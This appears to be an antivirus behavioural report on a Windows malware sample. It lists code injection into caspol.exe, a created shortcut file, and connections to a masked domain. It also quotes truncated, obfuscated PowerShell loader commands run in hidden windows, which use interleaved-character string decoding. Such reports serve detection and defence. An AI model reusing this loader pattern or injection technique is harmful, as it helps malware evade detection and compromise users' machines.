Technical Information
Malicious functions
Injects code into
the following system processes:
- %WINDIR%\microsoft.net\framework\v4.0.30319\caspol.exe
Terminates or attempts to terminate
the following system processes:
- %WINDIR%\microsoft.net\framework\v4.0.30319\caspol.exe
Modifies file system
Creates the following files
- %HOMEPATH%\documents\autopolo2.lnk
Network activity
Connects to
- 'sm####harath.com':443
TCP
Other
- 'sm####harath.com':443
UDP
- DNS ASK sm####harath.com
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' "$Dogtrick = """PFCuCnNcStDiToFnV cFGlKeUxPiBbAiBlUiStMiseAsP0U0S C{NpMaSrRaTmM(D[USAtArSiFnIgB]N`$DTSrLiTgBoHnRoSmTeHtCrKyS)P;BFFoHrC(N`$KTPotlweDrHaOtBiDoInKiAsWmI=C1C;V S`$STAoRlHeLrSaOtSiPo...' (with hidden window)
- '%WINDIR%\microsoft.net\framework\v4.0.30319\caspol.exe' ' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /c echo REG_SZ
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' "$Dogtrick = """PFCuCnNcStDiToFnV cFGlKeUxPiBbAiBlUiStMiseAsP0U0S C{NpMaSrRaTmM(D[USAtArSiFnIgB]N`$DTSrLiTgBoHnRoSmTeHtCrKyS)P;BFFoHrC(N`$KTPotlweDrHaOtBiDoInKiAsWmI=C1C;V S`$STAoRlHeLrSaOtSiPo...
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' "Function Flexibilities00 {param([String]$Trigonometry);For($Tolerationism=1; $Tolerationism -lt $Trigonometry.Length-1; $Tolerationism+=(1+1)){$Alintatao = $Alintatao + $Trigonometry.Substring...
- '%WINDIR%\microsoft.net\framework\v4.0.30319\caspol.exe'
